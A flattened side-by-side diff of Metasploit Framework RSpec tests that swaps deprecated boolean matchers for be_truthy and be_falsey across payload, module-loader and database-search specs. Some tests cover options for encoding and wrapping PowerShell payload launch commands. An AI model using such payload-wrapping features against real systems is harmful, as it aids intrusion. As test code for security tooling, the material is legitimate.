it 'should contain a final payload with -e' do it 'should contain a final payload with -e' do
code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true}) code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true})
code.include?(' -e ').should be_true code.include?(' -e ').should be_true
code.include?(' -c ').should be_false code.include?(' -c ').should be_falsey
code.include?('=').should be_false code.include?('=').should be_falsey
end end
end end
context 'when encode_inner_payload is true' do context 'when encode_inner_payload is true' do
@ -384,7 +384,7 @@ describe Msf::Exploit::Powershell do
rescue RuntimeError rescue RuntimeError
except = true except = true
end end
except.should be_true except.should be_truthy
end end
end end
end end
@ -392,14 +392,14 @@ describe Msf::Exploit::Powershell do
context 'when remove_comspec' do context 'when remove_comspec' do
it 'shouldnt contain %COMSPEC%' do it 'shouldnt contain %COMSPEC%' do
code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true}) code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true})
code.include?('%COMSPEC%').should be_false code.include?('%COMSPEC%').should be_falsey
end end
end end
context 'when use single quotes' do context 'when use single quotes' do
it 'should wrap in single quotes' do it 'should wrap in single quotes' do
code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true}) code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true})
code.include?(' -c \'').should be_true code.include?(' -c \'').should be_truthy
end end
end end
end end
@ -408,27 +408,27 @@ describe Msf::Exploit::Powershell do
it 'should contain no full stop when :no_full_stop' do it 'should contain no full stop when :no_full_stop' do
opts = {:no_full_stop => true} opts = {:no_full_stop => true}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("powershell ").should be_true command.include?("powershell ").should be_truthy
end end
it 'should contain full stop unless :no_full_stop' do it 'should contain full stop unless :no_full_stop' do
opts = {} opts = {}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("powershell.exe ").should be_true command.include?("powershell.exe ").should be_truthy
opts = {:no_full_stop => false} opts = {:no_full_stop => false}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("powershell.exe ").should be_true command.include?("powershell.exe ").should be_truthy
end end
it 'should ensure the path should always ends with \\' do it 'should ensure the path should always ends with \\' do
opts = {:path => "test"} opts = {:path => "test"}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("test\\powershell.exe ").should be_true command.include?("test\\powershell.exe ").should be_truthy
opts = {:path => "test\\"} opts = {:path => "test\\"}
command = subject.generate_psh_command_line(opts) command = subject.generate_psh_command_line(opts)
command.include?("test\\powershell.exe ").should be_true command.include?("test\\powershell.exe ").should be_truthy
end end
end end

View File

@ -292,4 +292,4 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
end end
end end
end end

View File

@ -86,4 +86,4 @@ describe Msf::Handler::ReverseHttp::UriChecksum do
end end
end end
end end

View File

@ -10,12 +10,12 @@ shared_examples "search_filter" do |opts|
accept.each do |query| accept.each do |query|
it "should accept a query containing '#{query}'" do it "should accept a query containing '#{query}'" do
# if the subject matches, search_filter returns false ("don't filter me out!") # if the subject matches, search_filter returns false ("don't filter me out!")
subject.search_filter(query).should be_false subject.search_filter(query).should be_falsey
end end
unless opts.has_key?(:test_inverse) and not opts[:test_inverse] unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
it "should reject a query containing '-#{query}'" do it "should reject a query containing '-#{query}'" do
subject.search_filter("-#{query}").should be_true subject.search_filter("-#{query}").should be_truthy
end end
end end
end end
@ -23,12 +23,12 @@ shared_examples "search_filter" do |opts|
reject.each do |query| reject.each do |query|
it "should reject a query containing '#{query}'" do it "should reject a query containing '#{query}'" do
# if the subject doesn't matches, search_filter returns true ("filter me out!") # if the subject doesn't matches, search_filter returns true ("filter me out!")
subject.search_filter(query).should be_true subject.search_filter(query).should be_truthy
end end
unless opts.has_key?(:test_inverse) and not opts[:test_inverse] unless opts.has_key?(:test_inverse) and not opts[:test_inverse]
it "should accept a query containing '-#{query}'" do it "should accept a query containing '-#{query}'" do
subject.search_filter("-#{query}").should be_true # what? why? subject.search_filter("-#{query}").should be_truthy # what? why?
end end
end end
end end

View File

@ -117,7 +117,7 @@ describe Msf::Modules::Loader::Archive do
# this checks that the around(:each) is working # this checks that the around(:each) is working
it 'should have an existent FastLib' do it 'should have an existent FastLib' do
File.exist?(@archive_path).should be_true File.exist?(@archive_path).should be_truthy
end end
it 'should ignore .svn directories' do it 'should ignore .svn directories' do
@ -127,7 +127,7 @@ describe Msf::Modules::Loader::Archive do
end end
it 'should ignore types that are not enabled' do it 'should ignore types that are not enabled' do
module_manager.type_enabled?(disabled_type).should be_false module_manager.type_enabled?(disabled_type).should be_falsey
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
type.should_not == disabled_type type.should_not == disabled_type
@ -141,7 +141,7 @@ describe Msf::Modules::Loader::Archive do
end end
it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do
module_manager.type_enabled?(enabled_type).should be_true module_manager.type_enabled?(enabled_type).should be_truthy
subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name|
type.should == enabled_type type.should == enabled_type
@ -172,7 +172,7 @@ describe Msf::Modules::Loader::Archive do
path = "path/to/archive#{archive_extension}" path = "path/to/archive#{archive_extension}"
File.extname(path).should == described_class::ARCHIVE_EXTENSION File.extname(path).should == described_class::ARCHIVE_EXTENSION
subject.loadable?(path).should be_true subject.loadable?(path).should be_truthy
end end
it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do
@ -180,7 +180,7 @@ describe Msf::Modules::Loader::Archive do
path.should include(described_class::ARCHIVE_EXTENSION) path.should include(described_class::ARCHIVE_EXTENSION)
File.extname(path).should_not == described_class::ARCHIVE_EXTENSION File.extname(path).should_not == described_class::ARCHIVE_EXTENSION
subject.loadable?(path).should be_false subject.loadable?(path).should be_falsey
end end
end end
@ -244,7 +244,7 @@ describe Msf::Modules::Loader::Archive do
end end
it 'should read modules that exist' do it 'should read modules that exist' do
File.exist?(unarchived_path).should be_true File.exist?(unarchived_path).should be_truthy
end end
around(:each) do |example| around(:each) do |example|

View File

@ -52,7 +52,7 @@ describe Msf::Modules::Loader::Base do
end end
it 'should be defined' do it 'should be defined' do
described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_truthy
end end
it 'should map Msf::MODULE_AUX to auxiliary' do it 'should map Msf::MODULE_AUX to auxiliary' do
@ -268,7 +268,7 @@ describe Msf::Modules::Loader::Base do
end end
it 'should return false if :force is false' do it 'should return false if :force is false' do
subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false subject.load_module(parent_path, type, module_reference_name, :force => false).should be_falsey
end end
it 'should not call #read_module_content' do it 'should not call #read_module_content' do
@ -335,7 +335,7 @@ describe Msf::Modules::Loader::Base do
subject.stub(:read_module_content => module_content) subject.stub(:read_module_content => module_content)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
namespace_module.parent_path.should == parent_path namespace_module.parent_path.should == parent_path
end end
@ -343,7 +343,7 @@ describe Msf::Modules::Loader::Base do
module_manager.stub(:on_module_load) module_manager.stub(:on_module_load)
subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do
@ -352,7 +352,7 @@ describe Msf::Modules::Loader::Base do
# if the module eval error includes the module_path then the module_path was passed along correctly # if the module eval error includes the module_path then the module_path was passed along correctly
subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/)
subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey
end end
context 'with empty module content' do context 'with empty module content' do
@ -361,12 +361,12 @@ describe Msf::Modules::Loader::Base do
end end
it 'should return false' do it 'should return false' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should not attempt to make a new namespace_module' do it 'should not attempt to make a new namespace_module' do
subject.should_not_receive(:namespace_module_transaction) subject.should_not_receive(:namespace_module_transaction)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
@ -426,7 +426,7 @@ describe Msf::Modules::Loader::Base do
it 'should record the load error using the original error' do it 'should record the load error using the original error' do
subject.should_receive(:load_error).with(module_path, error) subject.should_receive(:load_error).with(module_path, error)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
@ -457,14 +457,14 @@ describe Msf::Modules::Loader::Base do
it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do
subject.should_receive(:load_error).with(module_path, version_compatibility_error) subject.should_receive(:load_error).with(module_path, version_compatibility_error)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
it 'should return false' do it 'should return false' do
@namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
end end
@ -520,11 +520,11 @@ describe Msf::Modules::Loader::Base do
it 'should record the load error' do it 'should record the load error' do
subject.should_receive(:load_error).with(module_path, version_compatibility_error) subject.should_receive(:load_error).with(module_path, version_compatibility_error)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should return false' do it 'should return false' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should restore the old namespace module' do it 'should restore the old namespace module' do
@ -558,15 +558,15 @@ describe Msf::Modules::Loader::Base do
module_path, module_path,
kind_of(Msf::Modules::MetasploitClassCompatibilityError) kind_of(Msf::Modules::MetasploitClassCompatibilityError)
) )
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should return false' do it 'should return false' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should restore the old namespace module' do it 'should restore the old namespace module' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_true
Msf::Modules.const_get(relative_name).should == @original_namespace_module Msf::Modules.const_get(relative_name).should == @original_namespace_module
end end
@ -583,7 +583,7 @@ describe Msf::Modules::Loader::Base do
it 'should check if it is usable' do it 'should check if it is usable' do
subject.should_receive(:usable?).with(metasploit_class).and_return(true) subject.should_receive(:usable?).with(metasploit_class).and_return(true)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
context 'without usable metasploit_class' do context 'without usable metasploit_class' do
@ -593,15 +593,15 @@ describe Msf::Modules::Loader::Base do
it 'should log information' do it 'should log information' do
subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1)
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should return false' do it 'should return false' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
it 'should restore the old namespace module' do it 'should restore the old namespace module' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_true
Msf::Modules.const_get(relative_name).should == @original_namespace_module Msf::Modules.const_get(relative_name).should == @original_namespace_module
end end
@ -615,7 +615,7 @@ describe Msf::Modules::Loader::Base do
it 'should log load information' do it 'should log load information' do
subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do
@ -623,17 +623,17 @@ describe Msf::Modules::Loader::Base do
module_manager.module_load_error_by_path[module_path] = original_load_error module_manager.module_load_error_by_path[module_path] = original_load_error
module_manager.module_load_error_by_path[module_path].should == original_load_error module_manager.module_load_error_by_path[module_path].should == original_load_error
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
module_manager.module_load_error_by_path[module_path].should be_nil module_manager.module_load_error_by_path[module_path].should be_nil
end end
it 'should return true' do it 'should return true' do
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
it 'should call module_manager.on_module_load' do it 'should call module_manager.on_module_load' do
module_manager.should_receive(:on_module_load) module_manager.should_receive(:on_module_load)
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
end end
context 'with :recalculate_by_type' do context 'with :recalculate_by_type' do
@ -645,8 +645,8 @@ describe Msf::Modules::Loader::Base do
type, type,
module_reference_name, module_reference_name,
:recalculate_by_type => recalculate_by_type :recalculate_by_type => recalculate_by_type
).should be_true ).should be_truthy
recalculate_by_type[type].should be_true recalculate_by_type[type].should be_truthy
end end
end end
@ -654,13 +654,13 @@ describe Msf::Modules::Loader::Base do
it 'should set the count to 1 if it does not exist' do it 'should set the count to 1 if it does not exist' do
count_by_type = {} count_by_type = {}
count_by_type.has_key?(type).should be_false count_by_type.has_key?(type).should be_falsey
subject.load_module( subject.load_module(
parent_path, parent_path,
type, type,
module_reference_name, module_reference_name,
:count_by_type => count_by_type :count_by_type => count_by_type
).should be_true ).should be_truthy
count_by_type[type].should == 1 count_by_type[type].should == 1
end end
@ -675,7 +675,7 @@ describe Msf::Modules::Loader::Base do
type, type,
module_reference_name, module_reference_name,
:count_by_type => count_by_type :count_by_type => count_by_type
).should be_true ).should be_truthy
incremented_count = original_count + 1 incremented_count = original_count + 1
count_by_type[type].should == incremented_count count_by_type[type].should == incremented_count
@ -802,7 +802,7 @@ describe Msf::Modules::Loader::Base do
end end
it 'should return nil if the module is not defined' do it 'should return nil if the module is not defined' do
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
subject.send(:current_module, module_names).should be_nil subject.send(:current_module, module_names).should be_nil
end end
@ -838,7 +838,7 @@ describe Msf::Modules::Loader::Base do
it 'should return false if path is hidden' do it 'should return false if path is hidden' do
hidden_path = '.hidden/path/file.rb' hidden_path = '.hidden/path/file.rb'
subject.send(:module_path?, hidden_path).should be_false subject.send(:module_path?, hidden_path).should be_falsey
end end
it 'should return false if the file extension is not MODULE_EXTENSION' do it 'should return false if the file extension is not MODULE_EXTENSION' do
@ -846,25 +846,25 @@ describe Msf::Modules::Loader::Base do
path = "path/with/wrong/extension#{non_module_extension}" path = "path/with/wrong/extension#{non_module_extension}"
non_module_extension.should_not == described_class::MODULE_EXTENSION non_module_extension.should_not == described_class::MODULE_EXTENSION
subject.send(:module_path?, path).should be_false subject.send(:module_path?, path).should be_falsey
end end
it 'should return false if the file is a unit test' do it 'should return false if the file is a unit test' do
unit_test_extension = '.rb.ut.rb' unit_test_extension = '.rb.ut.rb'
path = "path/to/unit_test#{unit_test_extension}" path = "path/to/unit_test#{unit_test_extension}"
subject.send(:module_path?, path).should be_false subject.send(:module_path?, path).should be_falsey
end end
it 'should return false if the file is a test suite' do it 'should return false if the file is a test suite' do
test_suite_extension = '.rb.ts.rb' test_suite_extension = '.rb.ts.rb'
path = "path/to/test_suite#{test_suite_extension}" path = "path/to/test_suite#{test_suite_extension}"
subject.send(:module_path?, path).should be_false subject.send(:module_path?, path).should be_falsey
end end
it 'should return true otherwise' do it 'should return true otherwise' do
subject.send(:module_path?, module_path).should be_true subject.send(:module_path?, module_path).should be_truthy
end end
end end
@ -1022,7 +1022,7 @@ describe Msf::Modules::Loader::Base do
it 'should return false' do it 'should return false' do
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
false false
}.should be_false }.should be_falsey
end end
end end
@ -1043,7 +1043,7 @@ describe Msf::Modules::Loader::Base do
it 'should return true' do it 'should return true' do
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
true true
}.should be_true }.should be_truthy
end end
end end
end end
@ -1077,18 +1077,18 @@ describe Msf::Modules::Loader::Base do
end end
it 'should remove the created namespace module' do it 'should remove the created namespace module' do
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
begin begin
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
Msf::Module.const_defined?(relative_name).should be_true Msf::Module.const_defined?(relative_name).should be_truthy
raise error_class, error_message raise error_class, error_message
end end
rescue error_class rescue error_class
end end
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
end end
it 'should re-raise the error' do it 'should re-raise the error' do
@ -1102,46 +1102,46 @@ describe Msf::Modules::Loader::Base do
context 'with the block returning false' do context 'with the block returning false' do
it 'should remove the created namespace module' do it 'should remove the created namespace module' do
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_truthy
false false
end end
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
end end
it 'should return false' do it 'should return false' do
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
false false
}.should be_false }.should be_falsey
end end
end end
context 'with the block returning true' do context 'with the block returning true' do
it 'should not restore the non-existent previous namespace module' do it 'should not restore the non-existent previous namespace module' do
Msf::Modules.const_defined?(relative_name).should be_false Msf::Modules.const_defined?(relative_name).should be_falsey
created_namespace_module = nil created_namespace_module = nil
subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| subject.send(:namespace_module_transaction, module_full_name) do |namespace_module|
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_truthy
created_namespace_module = namespace_module created_namespace_module = namespace_module
true true
end end
Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_defined?(relative_name).should be_truthy
Msf::Modules.const_get(relative_name).should == created_namespace_module Msf::Modules.const_get(relative_name).should == created_namespace_module
end end
it 'should return true' do it 'should return true' do
subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| subject.send(:namespace_module_transaction, module_full_name) { |namespace_module|
true true
}.should be_true }.should be_truthy
end end
end end
end end
@ -1240,14 +1240,14 @@ describe Msf::Modules::Loader::Base do
context 'with the current constant being the namespace_module' do context 'with the current constant being the namespace_module' do
it 'should not change the constant' do it 'should not change the constant' do
parent_module.const_defined?(relative_name).should be_true parent_module.const_defined?(relative_name).should be_truthy
current_module = parent_module.const_get(relative_name) current_module = parent_module.const_get(relative_name)
current_module.should == @current_namespace_module current_module.should == @current_namespace_module
subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module)
parent_module.const_defined?(relative_name).should be_true parent_module.const_defined?(relative_name).should be_truthy
restored_module = parent_module.const_get(relative_name) restored_module = parent_module.const_get(relative_name)
restored_module.should == current_module restored_module.should == current_module
restored_module.should == @current_namespace_module restored_module.should == @current_namespace_module
@ -1263,7 +1263,7 @@ describe Msf::Modules::Loader::Base do
context 'without the current constant being the namespace_module' do context 'without the current constant being the namespace_module' do
it 'should remove relative_name from parent_module' do it 'should remove relative_name from parent_module' do
parent_module.const_defined?(relative_name).should be_true parent_module.const_defined?(relative_name).should be_truthy
parent_module.should_receive(:remove_const).with(relative_name) parent_module.should_receive(:remove_const).with(relative_name)
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
@ -1281,11 +1281,11 @@ describe Msf::Modules::Loader::Base do
context 'without relative_name being a defined constant' do context 'without relative_name being a defined constant' do
it 'should set relative_name on parent_module to namespace_module' do it 'should set relative_name on parent_module to namespace_module' do
parent_module.const_defined?(relative_name).should be_false parent_module.const_defined?(relative_name).should be_falsey
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
parent_module.const_defined?(relative_name).should be_true parent_module.const_defined?(relative_name).should be_truthy
parent_module.const_get(relative_name).should == @original_namespace_module parent_module.const_get(relative_name).should == @original_namespace_module
end end
end end
@ -1307,7 +1307,7 @@ describe Msf::Modules::Loader::Base do
metasploit_class = double('Metasploit Class') metasploit_class = double('Metasploit Class')
metasploit_class.should_not respond_to(:is_usable) metasploit_class.should_not respond_to(:is_usable)
subject.send(:usable?, metasploit_class).should be_true subject.send(:usable?, metasploit_class).should be_truthy
end end
end end
@ -1340,7 +1340,7 @@ describe Msf::Modules::Loader::Base do
end end
it 'should return false' do it 'should return false' do
subject.send(:usable?, metasploit_class).should be_false subject.send(:usable?, metasploit_class).should be_falsey
end end
end end
end end

View File

@ -51,7 +51,7 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should load a module that can be created' do it 'should load a module that can be created' do
subject.load_module(parent_path, type, module_reference_name).should be_true subject.load_module(parent_path, type, module_reference_name).should be_truthy
created_module = module_manager.create(module_full_name) created_module = module_manager.create(module_full_name)
@ -74,7 +74,7 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should not load the module' do it 'should not load the module' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
@ -89,7 +89,7 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should not load the module' do it 'should not load the module' do
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
end end
@ -110,7 +110,7 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should not raise an error' do it 'should not raise an error' do
File.exist?(module_path).should be_false File.exist?(module_path).should be_falsey
expect { expect {
subject.load_module(parent_path, type, module_reference_name) subject.load_module(parent_path, type, module_reference_name)
@ -118,9 +118,9 @@ describe Msf::Modules::Loader::Directory do
end end
it 'should return false' do it 'should return false' do
File.exist?(module_path).should be_false File.exist?(module_path).should be_falsey
subject.load_module(parent_path, type, module_reference_name).should be_false subject.load_module(parent_path, type, module_reference_name).should be_falsey
end end
end end
end end
@ -138,7 +138,7 @@ describe Msf::Modules::Loader::Directory do
# this ensures that the File.exist?(module_path) checks are checking the same path as the code under test # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test
it 'should attempt to open the expected module_path' do it 'should attempt to open the expected module_path' do
File.should_receive(:open).with(module_path, 'rb') File.should_receive(:open).with(module_path, 'rb')
File.exist?(module_path).should be_false File.exist?(module_path).should be_falsey
subject.send(:read_module_content, parent_path, type, module_reference_name) subject.send(:read_module_content, parent_path, type, module_reference_name)
end end

View File

@ -47,7 +47,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit1').should be_true subject.const_defined?('Metasploit1').should be_truthy
end end
it 'should return the class' do it 'should return the class' do
@ -61,7 +61,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit2').should be_true subject.const_defined?('Metasploit2').should be_truthy
end end
it 'should return the class' do it 'should return the class' do
@ -75,7 +75,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit3').should be_true subject.const_defined?('Metasploit3').should be_truthy
end end
it 'should return the class' do it 'should return the class' do
@ -89,7 +89,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit4').should be_true subject.const_defined?('Metasploit4').should be_truthy
end end
it 'should return the class' do it 'should return the class' do
@ -103,7 +103,7 @@ describe Msf::Modules::Namespace do
end end
it 'should be defined' do it 'should be defined' do
subject.const_defined?('Metasploit5').should be_true subject.const_defined?('Metasploit5').should be_truthy
end end
it 'should be newer than Msf::Framework::Major' do it 'should be newer than Msf::Framework::Major' do
@ -179,7 +179,7 @@ describe Msf::Modules::Namespace do
context 'version_compatible!' do context 'version_compatible!' do
context 'without RequiredVersions' do context 'without RequiredVersions' do
it 'should not be defined' do it 'should not be defined' do
subject.const_defined?('RequiredVersions').should be_false subject.const_defined?('RequiredVersions').should be_falsey
end end
it 'should not raise an error' do it 'should not raise an error' do

View File

@ -20,4 +20,4 @@ describe Msf::OptEnum do
subject.valid?('Bar').should == true subject.valid?('Bar').should == true
end end
end end
end end

View File

@ -12,4 +12,4 @@ describe Msf::OptRaw do
invalid_values = [] invalid_values = []
it_behaves_like "an option", valid_values, invalid_values, 'raw' it_behaves_like "an option", valid_values, invalid_values, 'raw'
end end

View File

@ -14,4 +14,4 @@ describe Msf::OptRegexp do
] ]
it_behaves_like "an option", valid_values, invalid_values, 'regexp' it_behaves_like "an option", valid_values, invalid_values, 'regexp'
end end

View File

@ -530,4 +530,4 @@ describe Msf::PayloadGenerator do
end end
end end
end end

View File

@ -105,4 +105,4 @@ describe Msf::DBManager::Export do
end end
end end
end end
end end

View File

@ -845,7 +845,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.stance == 'passive' module_detail.stance == 'passive'
}.should be_true }.should be_truthy
end end
end end
@ -859,7 +859,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.stance == 'aggressive' module_detail.stance == 'aggressive'
}.should be_true }.should be_truthy
end end
end end
end end
@ -890,7 +890,7 @@ describe Msf::DBManager do
module_detail.authors.any? { |module_author| module_detail.authors.any? { |module_author|
module_author.email == target_module_author.email module_author.email == target_module_author.email
} }
}.should be_true }.should be_truthy
end end
end end
@ -907,7 +907,7 @@ describe Msf::DBManager do
module_detail.authors.any? { |module_author| module_detail.authors.any? { |module_author|
module_author.name == target_module_author.name module_author.name == target_module_author.name
} }
}.should be_true }.should be_truthy
end end
end end
end end
@ -939,7 +939,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.fullname == target_module_detail.fullname module_detail.fullname == target_module_detail.fullname
}.should be_true }.should be_truthy
end end
end end
@ -954,7 +954,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.name == target_module_detail.name module_detail.name == target_module_detail.name
}.should be_true }.should be_truthy
end end
end end
end end
@ -991,7 +991,7 @@ describe Msf::DBManager do
module_detail.refs.any? { |module_ref| module_detail.refs.any? { |module_ref|
module_ref.name == ref module_ref.name == ref
} }
}.should be_true }.should be_truthy
end end
end end
@ -1029,7 +1029,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.mtype == type module_detail.mtype == type
}.should be_true }.should be_truthy
end end
end end
@ -1057,7 +1057,7 @@ describe Msf::DBManager do
module_detail.actions.any? { |module_action| module_detail.actions.any? { |module_action|
module_action.name == search_string module_action.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
@ -1077,7 +1077,7 @@ describe Msf::DBManager do
module_detail.archs.any? { |module_arch| module_detail.archs.any? { |module_arch|
module_arch.name == search_string module_arch.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
@ -1097,7 +1097,7 @@ describe Msf::DBManager do
module_detail.authors.any? { |module_author| module_detail.authors.any? { |module_author|
module_author.name == search_string module_author.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
@ -1121,7 +1121,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.description == target_module_detail.description module_detail.description == target_module_detail.description
}.should be_true }.should be_truthy
end end
end end
@ -1135,7 +1135,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.fullname == search_string module_detail.fullname == search_string
}.should be_true }.should be_truthy
end end
end end
@ -1150,7 +1150,7 @@ describe Msf::DBManager do
module_details.all? { |module_detail| module_details.all? { |module_detail|
module_detail.name == target_module_detail.name module_detail.name == target_module_detail.name
}.should be_true }.should be_truthy
end end
end end
end end
@ -1171,7 +1171,7 @@ describe Msf::DBManager do
module_detail.platforms.any? { |module_platform| module_detail.platforms.any? { |module_platform|
module_platform.name == search_string module_platform.name == search_string
} }
}.should be_true }.should be_truthy
end end
end end
